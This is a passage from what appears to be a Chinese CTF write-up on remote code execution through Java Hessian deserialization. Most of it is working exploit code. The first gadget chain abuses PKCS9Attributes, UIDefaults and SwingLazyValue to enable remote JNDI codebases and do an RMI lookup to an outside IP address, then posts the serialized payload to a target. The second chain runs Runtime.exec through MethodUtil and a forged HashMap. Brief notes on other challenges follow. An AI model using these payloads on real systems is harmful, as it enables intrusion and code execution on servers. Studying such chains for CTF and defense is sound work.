HttpEntity<byte []> requestEntity = new HttpEntity<>(obj); ResponseEntity<String> res = restTemplate.postForEntity(url, requestEntity, String.class); System.out.println(res.getBody()); } public static void main (String[] args) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); Hessian2Output output = new Hessian2Output(baos); System.out.println(SecuritySupport.getSystemProperty("SAVE_GENERATED" )); UIDefaults uiDefaults = new UIDefaults(); SwingLazyValue swingLazyValue1 = new SwingLazyValue("java.lang.System" ,"setProperty" ,new String[]{"java.rmi.server.useCodebaseOnly" ,"false" }); SwingLazyValue swingLazyValue2 = new SwingLazyValue("java.lang.System" ,"setProperty" ,new String[]{"com.sun.jndi.rmi.object.trustURLCodebase" ,"true" }); SwingLazyValue swingLazyValue3 = new SwingLazyValue("java.lang.System" ,"setProperty" ,new String[]{"com.sun.jndi.ldap.object.trustURLCodebase" ,"true" }); SwingLazyValue swingLazyValue4 = new SwingLazyValue("javax.naming.InitialContext" ,"doLookup" ,new String[]{"rmi://39.107.239.30:1099/4metkg" }); uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, swingLazyValue4); PKCS9Attribute[] attribs = new PKCS9Attribute[]{}; PKCS9Attributes pkcs9Attributes = new PKCS9Attributes(attribs); Field field = pkcs9Attributes.getClass().getDeclaredField("attributes" ); field.setAccessible(true ); field.set(pkcs9Attributes,uiDefaults); output.writeString("aaa" ); output.getSerializerFactory().setAllowNonSerializable(true ); output.writeObject(pkcs9Attributes); output.flushBuffer(); doPOST(baos.toByteArray()); } }
实现rce—方法四 触发的入口是常见HashMap的equals方法,最终使用sun.reflect.misc.MethodUtil
中的invoke方法再调用Runtime.exec
bounce是sun.reflect.misc.Trampoline
类,其中invoke可以直接反射调用方法。
SerializerFactory . readMap() MapDeserializer . readMap() HashMap . put() Hashtable . equals() UIDefaults . get() UIDefaults . getFromHashTable() UIDefaults$LazyValue . createValue() SwingLazyValue . createValue() sun.reflect.misc.MethodUtil . invoke() sun.reflect.misc.Trampoline . invoke() Runtime . exec()
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 package com.ctf.hessian.onlyJdk;import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import sun.reflect.misc.MethodUtil;import sun.swing.SwingLazyValue;import javax.swing.*;import java.io.*;import java.lang.reflect.*;import java.util.HashMap;public class test { public static void main (String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, IOException, NoSuchFieldException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); Hessian2Output output = new Hessian2Output(baos); output.getSerializerFactory().setAllowNonSerializable(true ); String cmd = "calc" ; Method invoke = MethodUtil.class.getMethod("invoke" , Method.class, Object.class, Object[].class); Method exec = Runtime.class.getMethod("exec" , String.class); SwingLazyValue swingLazyValue = new SwingLazyValue( "sun.reflect.misc.MethodUtil" , "invoke" , new Object[]{invoke, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{cmd}}}); UIDefaults u1 = new UIDefaults(); UIDefaults u2 = new UIDefaults(); u1.put("key" , swingLazyValue); u2.put("key" , swingLazyValue); HashMap hashMap = new HashMap(); Class node = Class.forName("java.util.HashMap$Node" ); Constructor constructor = node.getDeclaredConstructor(int .class, Object.class, Object.class, node); constructor.setAccessible(true ); Object node1 = constructor.newInstance(0 , u1, null , null ); Object node2 = constructor.newInstance(0 , u2, null , null ); Field key = node.getDeclaredField("key" ); key.setAccessible(true ); key.set(node1, u1); key.set(node2, u2); Field size = HashMap.class.getDeclaredField("size" ); size.setAccessible(true ); size.set(hashMap, 2 ); Field table = HashMap.class.getDeclaredField("table" ); table.setAccessible(true ); Object arr = Array.newInstance(node, 2 ); Array.set(arr, 0 , node1); Array.set(arr, 1 , node2); table.set(hashMap, arr); output.writeObject(hashMap); output.flushBuffer(); ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); Hessian2Input input = new Hessian2Input(bais); input.readObject(); } }
jabasass 看看大佬得总结,没有环境了。
Where are you from? 参考AR博客https://h4cking2thegate.github.io/2022/11/14/where-are-you-from/
ajp协议走私,参考wp。